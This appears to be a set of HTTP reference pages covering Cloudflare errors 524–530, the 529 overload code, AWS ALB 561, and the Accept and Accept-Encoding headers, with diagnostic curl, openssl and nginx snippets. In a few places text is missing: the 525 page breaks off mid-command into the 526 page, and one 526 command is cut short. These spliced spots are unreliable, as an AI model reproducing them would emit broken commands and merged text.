https://howhttpworks.com/status-codes/524 Last reviewed: 2026-10-05 > **TL;DR:** HTTP 524 means Cloudflare connected to your server but timed out waiting for it. Check origin request timings, move long jobs to a queue with polling, or raise the read timeout on Enterprise; the default is 125 seconds. A stalled upload to the origin can also hit the separate 30-second write timeout. ## What it means 524 is a Cloudflare extension, not a named status in RFC 9110. Clients handle an unfamiliar 5xx as a server error under [RFC 9110 status extensibility](https://www.rfc-editor.org/rfc/rfc9110.html#section-15). For a read timeout, Cloudflare established the origin connection but did not receive a timely HTTP response. Cloudflare closes the connection and returns 524 to the visitor. The page says "A timeout occurred". Enterprise customers can raise the proxy read timeout up to 6,000 seconds through the zone settings API, or a Cache Rule for cacheable requests; on other plans it is fixed. A separate 30-second proxy write timeout, which cannot be changed, also produces 524 when writing to the origin stalls. Cloudflare Images uses a 6.5-second write timeout. [Cloudflare 524 documentation](https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-524/). Use Cloudflare's read/write limits to identify the stalled phase. A handler that waits for a large query before responding can reach the read limit. Treat streaming as a separate endpoint to test through the full proxy chain; merely sending headers early is an incomplete fix. [Connection limits](https://developers.cloudflare.com/fundamentals/reference/connection-limits/). ## What you see in your client Client messages and the command outcomes below are illustrative. For 524, reason text varies with the response and protocol; use the numeric status for diagnosis. - **Axios:** `AxiosError: Request failed with status code 524`. Its default status check rejects 524; inspect `error.response.status` and headers. [Axios source](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** resolves with `response.status === 524` and `response.ok === false`. Check `ok` before decoding the body as JSON. [Fetch behaviour](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch). - **Python requests:** `raise_for_status()` builds `requests.exceptions.HTTPError: 524 Server Error: for url: https://example.com/api`. `` is `response.reason`, not fixed Cloudflare text. [Requests source](https://github.com/psf/requests/blob/main/src/requests/models.py). - **curl -f:** `curl: (22) The requested URL returned error: 524`. Capture headers and body with `curl -sS -D - https://example.com/api` while investigating. [curl source](https://github.com/curl/curl/blob/master/lib/http.c). - **.NET:** with no reason phrase, `EnsureSuccessStatusCode()` throws `System.Net.Http.HttpRequestException: Response status code does not indicate success: 524.` With a phrase, it uses `524 ().` in the message. [Runtime source](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/System/Net/Http/HttpResponseMessage.cs), [message resource](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring WebClient:** the generic `WebClientResponseException` carries 524; there is no dedicated 524 subclass. Its message template is `524 from GET https://example.com/api`. Save `getStatusCode().value()`, headers and `getResponseBodyAsString()`. [Spring source](https://github.com/spring-projects/spring-framework/blob/main/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java). If an API wrapper logs `status_code=524` with no body, preserve the URL, timestamp, elapsed time and `CF-Ray`. Inspect the HTTP status before attempting JSON parsing; an HTML error page or empty body gives the parser nothing useful to decode. For a state-changing request, check the job or resource state before retrying because the origin may still be working. ## Who sent it? Inspect the status together with `server: cloudflare` and `cf-ray`. A read-timeout 524 is near the configured read limit; a write-timeout 524 can arrive much earlier. Distinguish it from [522](https://howhttpworks.com/status-codes/522) (connection/acknowledgement timeout) and [504](https://howhttpworks.com/status-codes/504) (gateway timeout). An origin nginx read timeout or ALB idle timeout can fire first; both default to 60 seconds. ## Common causes by stack - **Cloudflare proxy:** the 125-second read or 30-second write limit produces 524. Establish which phase stalled before requesting an Enterprise read-timeout increase; the write limit is fixed. - **nginx in front of an app:** log `$request_time`, `$upstream_response_time` and the forwarded `$http_cf_ray`. A high upstream time sends you to the app; inspect nginx buffering when testing streaming. [nginx log variables](https://nginx.org/en/docs/http/ngx_http_log_module.html), [upstream timings](https://nginx.org/en/docs/http/ngx_http_upstream_module.html#variables). - **Express, FastAPI, Django, Laravel or Rails behind Cloudflare:** a long-running report handler can leave Cloudflare waiting. Put the report in a background job and return a status URL promptly. Correlate the origin log with the job's database and downstream-call timings. Cloudflare emits the 524 in this arrangement; the framework may eventually log a completed request. - **ALB or Kubernetes ingress behind Cloudflare:** check the inner proxy timeout as well as Cloudflare's. Raising an ingress read annotation or ALB idle limit cannot raise Cloudflare's limit; it can expose the outer 524 once the earlier 504 is removed. Inspect both access logs for the same request. ## Fix it 1. **Find the slow request.** Search origin logs for the Ray ID or the URL. Nginx: log `$request_time`. Look for requests where it nears 125 seconds. ```nginx log_format timed '$remote_addr "$request" $status $request_time $upstream_response_time ray=$http_cf_ray'; access_log /var/log/nginx/timed.log timed; ``` 2. **Make slow endpoints asynchronous.** Return [202 Accepted](https://howhttpworks.com/status-codes/202) with a status URL, process in a queue (Sidekiq, Celery, BullMQ), and poll or push the result. Exports, reports and bulk imports are the usual offenders. 3. **Fix the actual bottleneck**: missing database indexes, N+1 queries, locks, a downstream API without a timeout. Add explicit timeouts to outbound calls so your service fails before Cloudflare does. 4. **Test streaming through the proxy.** Flush real response chunks and inspect buffering at every hop. For an nginx streaming location, `proxy_buffering off;` forwards data as it arrives. Compare the direct and proxied stream before relying on it for long generation tasks. 5. **Bypass the proxy for heavy transfers.** Large uploads, long-poll or export endpoints can use an unproxied (grey cloud) subdomain, accepting that you lose Cloudflare protection on it. 6. **Raise timeouts consistently** if you have to: Enterprise plan for Cloudflare, plus `proxy_read_timeout`, application server timeouts (gunicorn `--timeout`, PHP `max_execution_time`) and load balancer idle timeout, otherwise a lower layer fails first. ### Reproduce ```bash time curl -s -o /dev/null -w '%{http_code}\n' https://example.com/slow-endpoint # 524 after ~125s time curl -s -o /dev/null -w '%{http_code}\n' --resolve example.com:443:203.0.113.10 https://example.com/slow-endpoint # the origin's real status and duration ``` ## 524 vs related | Code | Meaning | | ---- | ------------------------------------------------------------ | | 522 | Could not connect (or acknowledge) in time | | 524 | Connected, then the origin read or write timeout expired | | 504 | A gateway timed out connecting or waiting for response data | ## Related - [522 Connection Timed Out](https://howhttpworks.com/status-codes/522) - [504 Gateway Timeout](https://howhttpworks.com/status-codes/504) - [202 Accepted](https://howhttpworks.com/status-codes/202) - [520 Web Server Returned an Unknown Error](https://howhttpworks.com/status-codes/520) - [526 Invalid SSL Certificate](https://howhttpworks.com/status-codes/526) --- # 525 SSL Handshake Failed (Cloudflare) > Cloudflare 525 means the TLS handshake with your origin server failed. Diagnose with openssl s_client, check SSL modes, ciphers, SNI and port 443, and fix it. Source: https://howhttpworks.com/status-codes/525 Last reviewed: 2026-10-04 > **TL;DR:** Cloudflare could open a TCP connection to your origin on port 443 but the TLS handshake failed. Test the origin directly with `openssl s_client -connect ORIGIN_IP:443 -servername example.com`: if that does not complete, fix the origin's TLS listener, protocols, ciphers or certificate for that SNI name. ## What it means 525 is Cloudflare-specific, issued by Cloudflare's edge, not your server. The edge connected to the origin (so a [521](https://howhttpworks.com/status-codes/521) or [522](https://howhttpworks.com/status-codes/522) was avoided), then the TLS negotiation failed before any HTTP was exchanged. Origin logs often show nothing because no request was ever parsed. The error page says **Error 525: SSL handshake failed** and includes a Ray ID. The response headers carry `Server: cloudflare` and a `CF-RAY` value. ```http HTTP/2 525 server: cloudflare cf-ray: 8a1b2c3d4e5f6a7b-AMS content-type: text/html; charset=UTF-8 ``` ## Who sent it? `Server: cloudflare` plus a `CF-RAY` header and the Cloudflare-styled error page mean the edge generated it. If your origin generated a 525, something is wrong (some applications echo upstream codes, so check origin logs). Cloudflare's own troubleshooting page lists four origin-side causes: no valid certificate installed, port 443 (or the custom secure port) closed, no SNI support, and no cipher suite in common. ## SSL modes decide whether this can happen | Mode | Edge to origin | Can produce 525? | Validates origin cert? | |---|---|---|---| | Off | HTTP | No | n/a | | Flexible | HTTP on port 80 | No | n/a | | Full | HTTPS | Yes | No (self-signed OK) | | Full (strict) | HTTPS | Yes | Yes: 526 if invalid | If you recently switched from Flexible to Full, every site whose origin does not listen on 443 starts returning 525 (or 521 if nothing is listening). Check **SSL/TLS > Overview**, and **Rules > Configuration Rules** for per-hostname overrides. ## Common causes 1. **No TLS listener on 443.** The origin only serves HTTP, or the web server is listening on 443 without `ssl`. Cloudflare connects to the standard HTTPS port unless an Origin Rule or the Cloudflare Tunnel overrides it. 2. **Origin lacks a certificate for the SNI name.** Cloudflare sends SNI with the request hostname unless an Origin Rule overrides it. If the origin's default vhost has no certificate, or a hosting panel returns a handshake failure for unknown names, the handshake dies. 3. **Cipher or protocol mismatch.** Cloudflare offers a list of cipher suites to the origin (TLS 1.3 AEAD suites, TLS 1.2 ECDHE suites with AES-GCM and ChaCha20, plus older CBC suites) and the origin picks one. If the origin's configuration shares none of them, or it only speaks SSLv3 or a TLS version with no overlapping suite, the handshake fails. Allow TLS 1.2 and 1.3 with ECDHE AES-GCM suites. 4. **Origin firewall or WAF drops TLS packets** (rate limiting by IP, an IDS interfering with the handshake). The TCP handshake passes, TLS does not. 5. **Load balancer or TLS-terminating proxy in front of the origin is misconfigured**, with only some backends having certificates. 6. **Custom port mismatch.** An Origin Rule sends traffic to a port that speaks HTTP. ## Diagnose from the command line Test the origin directly, bypassing Cloudflare, with SNI set to the hostname that fails: ```bash openssl s_client -connect 203.0.113.10:443 -servername www.example.com Cloudflare 526 means the origin certificate failed Full (strict) validation. Check expiry, hostname and chain with openssl, then fix it. Source: https://howhttpworks.com/status-codes/526 Last reviewed: 2026-10-04 > **TL;DR:** In Full (strict) mode Cloudflare verifies the origin certificate. 526 means that check failed: it is expired, does not cover the hostname Cloudflare asked for, is not issued by a trusted CA, or the server is not sending the intermediate certificates. Check it with `openssl s_client`, then fix or install a Cloudflare Origin CA certificate. ## What it means The handshake succeeded (otherwise you would see [525](https://howhttpworks.com/status-codes/525)), so the origin speaks TLS. Cloudflare then validated the leaf certificate against the SNI hostname it used and found a problem. The error page reads **Error 526: Invalid SSL certificate**, with `Server: cloudflare` and a `CF-RAY` header like every Cloudflare-generated error. Full vs Full (strict): | Check | Full | Full (strict) | |---|---|---| | Origin must speak TLS | Yes | Yes | | Expiry checked | No | Yes | | Hostname must match SAN | No | Yes | | Must chain to a public CA or Cloudflare Origin CA | No | Yes | ## Check the certificate the way Cloudflare sees it Use the origin IP directly with SNI set to the hostname: ```bash echo | openssl s_client -connect 203.0.113.10:443 -servername www.example.com -showcerts 2>/dev/null \ | openssl x509 -noout -subject -issuer -dates -ext subjectAltName ``` ```text subject=CN = www.example.com issuer=C = US, O = Let's Encrypt, CN = R11 notBefore=Aug 1 00:00:00 2026 GMT notAfter=Oct 30 23:59:59 2026 GMT X509v3 Subject Alternative Name: DNS:example.com, DNS:www.example.com ``` Verify the whole thing, including chain and hostname: ```bash openssl s_client -connect 203.0.113.10:443 -servername www.example.com -verify_hostname www.example.com -verify_return_error Origin Server**, install it on the origin and keep Full (strict). It is trusted by Cloudflare only: direct browser access to the origin IP will show a warning, which is fine, and arguably desirable. Temporarily switching to Full gets traffic flowing, but it silently removes validation, so a later expired or impersonated origin goes unnoticed. Treat it as a short diagnostic step, not the fix. Combine strict mode with Authenticated Origin Pulls or Cloudflare Tunnel if you also need the origin to reject non-Cloudflare traffic. ## Related - [525 SSL Handshake Failed](https://howhttpworks.com/status-codes/525): the handshake itself failed. - [530 Origin DNS Error](https://howhttpworks.com/status-codes/530) - [521 Web Server Is Down](https://howhttpworks.com/status-codes/521) - [520 Web Server Returned an Unknown Error](https://howhttpworks.com/status-codes/520) - [HTTPS and TLS](https://howhttpworks.com/guides/https-and-tls): certificates and chains. --- # 529 Site Is Overloaded (SSL Labs and Anthropic) > 529 is a non-standard overload code used by SSL Labs and Anthropic. Identify the API, inspect overloaded_error, and back off without confusing it with 429. Source: https://howhttpworks.com/status-codes/529 Last reviewed: 2026-10-05 > **TL;DR:** 529 means the service itself is overloaded. It isn't a standard HTTP code; Qualys SSL Labs and Anthropic both use it, and Anthropic pairs it with `overloaded_error`. It's not your rate limit (that's `429`), so raising your quota won't fix it. Find out which API returned it, then back off with randomized, capped retries. ## What it means "Site Is Overloaded" is a common descriptive label, not a standard reason phrase. The [SSL Labs API v4 documentation](https://github.com/ssllabs/ssllabs-scan/blob/master/ssllabs-api-docs-v4.md) uses 529 when the service as a whole is overloaded. If you're the one sending too many assessments, you get [429](https://howhttpworks.com/status-codes/429) instead. [Anthropic's error documentation](https://docs.anthropic.com/en/api/errors) defines 529 `overloaded_error` as the API being temporarily overloaded. It keeps that separate from the rate and acceleration limits on your own organization: a 529 reflects traffic across all users. Nothing in Anthropic's docs suggests a higher quota helps with it. ## Confirm the API and error Note the destination URL, the status and the response body. For Anthropic, branch on `error.type`, not on the wording of `error.message`. The body looks like this (an example, not a captured response): ```json { "type": "error", "error": { "type": "overloaded_error", "message": "Overloaded" }, "request_id": "req_example" } ``` Save the real `request-id` response header for support; Anthropic also documents the matching `request_id` field in the body. You don't need to log credentials or prompt content to identify an overload, so leave them out of your logs. For SSL Labs, make sure the 529 came from the assessment API itself and not from the site you're assessing. An overloaded API tells you nothing about the TLS setup on your hostname. ## Retry without a request storm Retry after a delay, with jitter and a cap on attempts. Hold off on new requests while you wait, and decide in advance when to give up and show the caller the failure. SSL Labs recommends waiting several minutes, but its v4 document gives two different example delays: the table says about 15 minutes, while the prose suggests 30 minutes for 529. Read both as rough guidance, not a promise of when the service recovers. Randomize the wait, as the vendor recommends. For Anthropic, check your SDK's retry settings before writing your own retry loop. Honor any [Retry-After](https://howhttpworks.com/headers/retry-after) value you receive, and make sure the SDK and your application aren't both retrying, which multiplies the load. ## Streaming needs its own error path Anthropic documents that errors can arrive mid-stream, after the SSE response has already returned HTTP 200. Handle the stream's error event as well as non-2xx initial responses. If you only check the status code, an overload partway through looks like a finished answer. Mark any partial output as incomplete and decide deliberately whether to retry the whole request. ## Related - [429 Too Many Requests](https://howhttpworks.com/status-codes/429) - [503 Service Unavailable](https://howhttpworks.com/status-codes/503) - [Retry-After](https://howhttpworks.com/headers/retry-after) --- # 530 Error with 1xxx Codes (Cloudflare) > Cloudflare 530 never appears alone: it comes with a 1xxx error such as 1016 Origin DNS error or 1033 Tunnel error. Read the code in the page body and fix it. Source: https://howhttpworks.com/status-codes/530 Last reviewed: 2026-10-04 > **TL;DR:** Cloudflare returns 530 only together with a 1xxx error, and the 1xxx code in the page body is the real diagnosis. 1016 means Cloudflare cannot resolve your origin hostname; 1033 means a Cloudflare Tunnel has no connected `cloudflared`. Read the code, then use the matching fix below. ## What it means Most Cloudflare 5xx errors say something about the TCP or TLS connection to the origin. 530 is different: the failure happened before Cloudflare even tried to connect (DNS, a banned target, a tunnel with no connector). The status line is 530, and the page body names a 1xxx code. ```http HTTP/2 530 server: cloudflare cf-ray: 8a1b2c3d4e5f6a7b-FRA content-type: text/html; charset=UTF-8 ``` ```text Error 1016 Origin DNS error Ray ID: 8a1b2c3d4e5f6a7b • 2026-10-04 11:32:07 UTC What happened? You've requested a page on a website (app.example.com) that is on the Cloudflare network. Cloudflare is currently unable to resolve your requested domain (origin.internal.example.net). ``` Grep for it quickly: ```bash curl -s https://app.example.com/ | grep -o -E 'Error 1[0-9]{3}|Origin DNS error|Tunnel error' | head ``` ## The 1xxx codes you will meet | Code | Name | Typical cause | |---|---|---| | 1016 | Origin DNS error | The A/AAAA/CNAME target Cloudflare should use as the origin does not resolve (deleted record, typo, expired domain, CNAME to an unresolvable name). | | 1033 | Cloudflare Tunnel error | The hostname is routed to a Cloudflare Tunnel, but no active `cloudflared` is connected. | | 1014 | CNAME Cross-User Banned | A CNAME on your zone points to a hostname in another Cloudflare account's zone without the setup that allows it. | | 1001 | DNS resolution error | Cloudflare could not resolve a DNS name it needs for the request (for example a CNAME target outside the zone). | | 1018 | Could not find host | Cloudflare cannot match the hostname to a zone or origin, commonly after a partner/hosting change. Status for this one is not documented as 530. | Cloudflare's 1xxx reference does not list the HTTP status for each code, and not every 1xxx page is a 530 (1020 Access denied, for example, is a firewall block and arrives with a 403). Match the code in the body, not just the status. ## Fix 1016: Origin DNS error 1. In the Cloudflare DNS dashboard, find the record for the hostname. Is the content an IP or hostname that exists? 2. If it is a CNAME to another name, resolve that target from outside: ```bash dig +short origin.internal.example.net dig +short CNAME app.example.com @1.1.1.1 ``` 3. A record that points to a name only resolvable in your private network (internal DNS, split-horizon) fails here, because Cloudflare resolves via public DNS. Use a public record or a Tunnel. 4. Domain expired, nameserver delegation changed for the origin zone, or DNSSEC misconfigured on the origin's zone: check `dig +dnssec`. ## Fix 1033: Tunnel error ```bash # On the machine that should run the connector cloudflared tunnel list cloudflared tunnel info my-tunnel systemctl status cloudflared journalctl -u cloudflared -n 50 --no-pager ``` Checks: `cloudflared` is running and shows registered connections, the tunnel in Zero Trust is **Healthy**, the public hostname route points at this tunnel (a tunnel deleted and recreated gets a new ID, so the old CNAME to `.cfargotunnel.com` goes stale), and the machine can reach Cloudflare on the ports `cloudflared` uses (outbound 7844 TCP/UDP). After a Docker or Kubernetes redeploy, make sure the token or credentials secret still matches the tunnel. ## Fix 1014: CNAME cross-user banned You cannot CNAME an arbitrary hostname to a different Cloudflare customer's proxied zone. Point at the provider's documented origin, or ask the provider to enable the shared setup (for SaaS, Cloudflare for SaaS custom hostnames). ## If you are a visitor Nothing you can do. The site owner's DNS or tunnel is down; the Ray ID is what they need. ## Related - [520 Web Server Returned an Unknown Error](https://howhttpworks.com/status-codes/520) - [521 Web Server Is Down](https://howhttpworks.com/status-codes/521) - [523 Origin Is Unreachable](https://howhttpworks.com/status-codes/523): DNS fine, routing to the origin fails. - [525 SSL Handshake Failed](https://howhttpworks.com/status-codes/525) and [526 Invalid SSL Certificate](https://howhttpworks.com/status-codes/526) - [502 Bad Gateway](https://howhttpworks.com/status-codes/502) --- # 561 Unauthorized (AWS ALB Authentication) > AWS ALB 561 means the identity provider returned an error during listener authentication. Read error_reason in access logs and inspect the IdP response. Source: https://howhttpworks.com/status-codes/561 Last reviewed: 2026-10-05 > **TL;DR:** A 561 comes from an AWS Application Load Balancer, not your app. It means the listener's built-in user authentication called your identity provider and got an error back. Find the request in the ALB access logs, read its `error_reason`, then look up the matching failure in the IdP's logs. ## What it means 561 isn't a standard HTTP status. [AWS defines it](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-troubleshooting.html#http-561-errors) for one situation: a listener rule that authenticates users receives an error code from the identity provider (IdP). The "Unauthorized" label is misleading. It's a vendor-specific 5xx code, not the standard [401](https://howhttpworks.com/status-codes/401). So start with the listener's authentication action and the IdP. Your application's authorization rules probably never ran, and changing them because the browser shows "Unauthorized" won't help. Work out which stage failed first, and you'll know which team owns the fix. ## Confirm it in access logs Filter for `elb_status_code = 561`, then read `actions_executed` and `error_reason`. [AWS documents authentication reason codes](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-access-logs.html#authentication-error-reason-codes), including: - `AuthTokenEpRequestFailed`: the token endpoint returned a non-2xx response. - `AuthUserinfoEpRequestFailed`: the IdP user-info endpoint returned a non-2xx response. - `AuthInvalidGrantError`: the authorization grant code from the token endpoint was invalid. That table covers authentication errors in general, and not every one of them ends in a 561. Read the reason alongside the status recorded for the same request. `target_status_code` holds the response from your application target, or `-` when there wasn't one. If it's `-` and `elb_status_code` is 561, the ALB produced the error itself; your app didn't send that response. ## Fix it Match the ALB request's timestamp against the IdP's token or user-info endpoint logs. Note the endpoint, the HTTP status and a sanitized error description. Keep authorization codes, client secrets and tokens out of incident tickets. If the IdP reports an invalid client or callback configuration, compare its application registration with the ALB authentication action. If it rejected the authorization grant, look at the login flow that produced that grant. Fix the specific rejection the IdP logged, then try a fresh login through the same listener rule. Check the new ALB log entry, not just what the browser shows. A login that works through some other path tells you nothing about this listener's authentication settings. ## Separate endpoint errors from connectivity failures AWS also documents authentication-related [500](https://howhttpworks.com/status-codes/500) errors, including when the ALB can't reach an IdP endpoint or the endpoint takes longer than five seconds to respond. Read the status and reason together. An unreachable or slow IdP shows up as 500, not 561, and a timeout isn't the same as the IdP rejecting the request. ## Related - [401 Unauthorized](https://howhttpworks.com/status-codes/401) - [500 Internal Server Error](https://howhttpworks.com/status-codes/500) --- # Accept Header > Learn how the Accept header tells servers which content types (JSON, HTML, XML) your client can handle. Master content negotiation and quality values. Source: https://howhttpworks.com/headers/accept Last reviewed: 2026-10-05 > **TL;DR:** `Accept` is a request header that tells the server which response formats you can handle, such as `Accept: application/json`. Rank alternatives with q-values (`text/html, application/json;q=0.9`). It's a request, not a contract: the server may send something else or a 406, so check the response's `Content-Type` before you parse it. ## What is Accept? `Accept` is how a client asks for a response format. [Content-Type](https://howhttpworks.com/headers/content-type) labels the format that was actually sent. A request with no `Accept` header means the client will take any media type. The two headers point in opposite directions. A POST can send a JSON body and ask for a plain-text reply: ```http Content-Type: application/json Accept: text/plain ``` `Accept` only affects the response. The server still parses the request body according to its `Content-Type`. ## How Accept Works Here's a request (the examples on this page are trimmed): ```http GET /report HTTP/1.1 Host: example.com Accept: application/json, text/csv;q=0.8 ``` The server should pick JSON, or CSV if it can't produce JSON. If it has nothing acceptable, it can either return [406](https://howhttpworks.com/status-codes/406) or ignore the header and send a default. [RFC 9110 §12.5.1](https://www.rfc-editor.org/rfc/rfc9110#section-12.5.1) allows both. ## Syntax and Quality Values ```http Accept: text/html, application/json;q=0.9, */*;q=0.1 ``` A missing `q` means `1`, and `q=0` means "not acceptable". Values go from 0 to 1 with at most three decimal places. Order doesn't matter: two entries with the same q-value are equally preferred, whichever comes first. When a representation matches several entries, the most specific one sets its quality. Here plain text gets quality zero, while every other text type gets one: ```http Accept: text/*;q=1, text/plain;q=0 ``` ## Common Examples Request JSON with a plain-text fallback: ```bash curl -i -H 'Accept: application/json, text/plain;q=0.5' https://example.com/report ``` Point it at an endpoint that actually implements both formats; asking for JSON won't make a server that only speaks HTML produce it. ## Content Type Categories Media types take the form `type/subtype`. Parameters such as `charset` can narrow a match further. `q` is the exception: it states your preference and says nothing about the content. | Value | Requested representation | | --- | --- | | `application/json` | JSON | | `text/html` | HTML | | `text/csv` | CSV | | `image/png` | PNG image | If a server returns JSON labelled `text/html`, that's a server bug, and clients will treat it as HTML. Trust the response's `Content-Type`, not the URL's file extension. ## Wildcards `image/*` matches any image subtype, and `*/*` matches anything. Adding `*/*;q=0.1` gives the server a low-priority fallback. Leaving it out won't stop a server that ignores `Accept` anyway. ```http Accept: image/png, image/*;q=0.8, */*;q=0.1 ``` PNG gets quality `1`, any other image type `0.8`, and anything else `0.1`. The server picks the best of the formats it can actually produce. ## Real-World Scenarios If one URL serves both JSON and HTML, add `Vary: Accept` to the negotiated responses so caches key on that request header. See [Vary](https://howhttpworks.com/headers/vary). Skip it and a shared cache may hand the last visitor's HTML to an API client that asked for JSON. For the `/status` route below, request both formats it implements: ```bash curl -i -H 'Accept: application/json' https://example.com/status curl -i -H 'Accept: text/plain' https://example.com/status ``` Both responses should list `Accept` in `Vary`, including the one in the server's default format. ## Server Response Strategies Parse the header with a negotiation library. A substring check like `accept.includes('application/json')` gets `q=0`, wildcards and a missing header wrong. In Express, [`res.format()`](https://expressjs.com/en/5x/api/response/#res.format) handles routes with several serializers. Drop this into an existing app: ```javascript app.get('/status', (req, res) => { res.vary('Accept') res.format({ 'application/json': () => res.json({ status: 'ready' }), 'text/plain': () => res.send('ready\n'), default: () => res.status(406).end() }) }) ``` Make the fallback explicit. When the request has no `Accept` header, `res.format()` runs the first handler; that's your app's default, not something the client asked for. ## Getting Accept right For finer control, [`req.accepts()`](https://expressjs.com/en/5x/api/request/#req.accepts) picks from the formats your route actually implements: ```javascript app.get('/report', (req, res) => { res.vary('Accept') const format = req.accepts(['application/json', 'text/plain']) if (format === 'application/json') return res.json({ status: 'ready' }) if (format === 'text/plain') return res.type('text/plain').send('ready\n') return res.status(406).end() }) ``` ## Common Patterns On the client, send the format you want, then check the response `Content-Type` before decoding. `Accept` asks; it doesn't validate what comes back. In browser JavaScript, check the status first. Error responses often come in a different media type from successful ones: ```javascript const response = await fetch('/report', { headers: { Accept: 'application/json' } }) if (!response.ok) throw new Error(`HTTP ${response.status}`) const type = response.headers.get('Content-Type')?.split(';')[0].trim() if (type !== 'application/json') throw new Error(`Unexpected type: ${type}`) const report = await response.json() ``` This client accepts only `application/json` on purpose. Add other media types when the API contract says they're supported. ## Browser Defaults Browsers send different values for page navigations, images and other requests, so there's no single browser default to copy into an API client. To see what was sent, open **Network → request → Request Headers** for the request you're debugging. [MDN lists example values by request context](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Accept). ## Testing Accept Headers Test the rejection paths, not only the happy one. The last command removes the header that curl sends by default: ```bash curl -i -H 'Accept: application/json;q=0, text/plain;q=1' https://example.com/report curl -i -H 'Accept: application/pdf' https://example.com/report curl -i -H 'Accept:' https://example.com/report ``` For each, look at the status, `Content-Type` and `Vary` together. ## Related Headers - [Accept-Encoding](https://howhttpworks.com/headers/accept-encoding) - [Accept-Language](https://howhttpworks.com/headers/accept-language) - [Content-Type](https://howhttpworks.com/headers/content-type) - [Vary](https://howhttpworks.com/headers/vary) --- # Accept-Encoding Header > Learn how Accept-Encoding tells servers which compression formats (gzip, br, deflate) your client supports to reduce bandwidth and speed up page loads. Source: https://howhttpworks.com/headers/accept-encoding Last reviewed: 2026-10-05 > **TL;DR:** `Accept-Encoding` is the request header where a client lists the compression formats it can decode, such as `gzip` or `br` (Brotli). The server picks one, or none, and says which in `Content-Encoding`. Browsers set it for you and JavaScript can't change it, so test with curl. ## What is Accept-Encoding? In a request, this field negotiates content codings. It's separate from [Transfer-Encoding](https://howhttpworks.com/headers/transfer-encoding), which frames an HTTP/1.1 message. Servers can send `Accept-Encoding` too, to advertise which codings they accept in request bodies, for example in a `415` response. [MDN describes both uses](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Accept-Encoding). ## How Accept-Encoding Works Here's a request and response with bodies omitted. Headers and outputs on this page are trimmed examples. ```http GET /report HTTP/1.1 Host: example.com Accept-Encoding: gzip, br;q=0.8 ``` ```http HTTP/1.1 200 OK Content-Type: application/json Content-Encoding: gzip Vary: Accept-Encoding ``` No `Content-Encoding` in the response means the body wasn't compressed. That's allowed: offering gzip doesn't force the server to use it. ## Common Compression Algorithms `gzip` is gzip and `br` is Brotli. HTTP's `deflate` is the odd one: it means a zlib wrapper around a DEFLATE stream, not raw DEFLATE. Only advertise formats your client can decode. For curl, `curl --version` lists what your build supports. ## Quality Values and Preferences ```http Accept-Encoding: br;q=1, gzip;q=0.8 ``` This says "Brotli preferred, gzip fine". Plain `br, gzip` gives both the default quality of `1`, because list order isn't a ranking. ## Real-World Examples Let curl advertise what it supports and decode the response for you: ```bash curl --compressed -D - -o /dev/null https://example.com/ ``` [`--compressed`](https://curl.se/docs/manpage.html#--compressed) decodes the body, but the printed headers still describe the encoded response. So the saved file's size won't match `Content-Length`, which counts compressed bytes. ## Compression Effectiveness How much you save depends on the content. There's no fixed ratio for HTML, JSON or JavaScript. Measure the same resource both ways and check which coding the server actually chose before crediting compression with the difference. Responses that arrive already encoded are a good diagnostic case. If the application sends `Content-Encoding: gzip`, look at the raw bytes saved without `--compressed` (the commands in the measuring section below save them to `/tmp/gzip.body`): ```bash file /tmp/gzip.body gzip -t /tmp/gzip.body ``` Run the gzip check only after the saved headers confirm the coding. A `200` status says nothing about whether the body is valid gzip, and a gzip failure on a body that was never encoded tells you nothing about negotiation. ## Getting Accept-Encoding right Inside an nginx `http`, `server`, or `location` block: ```nginx gzip on; gzip_types text/plain application/json text/css application/javascript; gzip_vary on; ``` The [nginx gzip module](https://nginx.org/en/docs/http/ngx_http_gzip_module.html) always compresses `text/html` on top of whatever `gzip_types` lists. Both `gzip` and `gzip_vary` default to `off`, so you need to turn them on. This config gives you gzip only, not Brotli. In browsers, `Accept-Encoding` is a [forbidden request header](https://fetch.spec.whatwg.org/#forbidden-request-header). Leave it and `Content-Length` out of `fetch()` calls; the browser manages both. For Caddy serving files from `/srv/www`, turn on its encoders directly: ```caddyfile example.com { root * /srv/www encode zstd gzip file_server } ``` [Caddy's `encode` directive](https://caddyserver.com/docs/caddyfile/directives/encode) negotiates these formats from the request. Putting `zstd` first makes it the server's pick when the client doesn't express a stronger preference. A client that only offers gzip gets gzip. ## Measure the savings on your own responses Swap in the URL you're investigating. These requests save the raw bodies, with no automatic decompression from curl: ```bash curl -sS -D /tmp/identity.headers -o /tmp/identity.body \ -H 'Accept-Encoding: identity' https://example.com/ curl -sS -D /tmp/gzip.headers -o /tmp/gzip.body \ -H 'Accept-Encoding: gzip' https://example.com/ cat /tmp/identity.headers /tmp/gzip.headers wc -c /tmp/identity.body /tmp/gzip.body ``` Compare `Content-Encoding`, status and validators like `ETag` across both responses. Matching byte counts alone don't prove the server ignored the header. ## Compression Priority and Quality Values Under [RFC 9110 §12.5.3](https://www.rfc-editor.org/rfc/rfc9110#section-12.5.3), a request with no `Accept-Encoding` field accepts any coding, while an empty field asks for no coding at all. `identity` means "no encoding". It's acceptable by default unless you exclude it with `identity;q=0`, or with `*;q=0` when there's no more specific entry for identity. `Accept-Encoding: identity` asks for an uncompressed response. Because gzip and Brotli aren't listed, they aren't acceptable, and a server that sends gzip anyway is ignoring the request. Test this case when an intermediary seems to compress every response. ## Related Headers - [Content-Encoding](https://howhttpworks.com/headers/content-encoding) - [Vary](https://howhttpworks.com/headers/vary) - [Content-Length](https://howhttpworks.com/headers/content-length) --- # Accept-Language Header > Learn how the Accept-Language header tells servers which languages your client prefers for localized content. Understand language tags and quality values. Source: https://howhttpworks.com/headers/accept-language Last reviewed: 2026-10-05 > **TL;DR:** `Accept-Language` is the browser telling the server which languages the user reads, in order of preference, such as `en-US, en;q=0.9`. Use it to pick a default language, let an explicit choice (URL, setting, selector) override it, and send `Vary: Accept-Language`. It tells you nothing about the user's country or timezone. ## What is Accept-Language? The header lists language 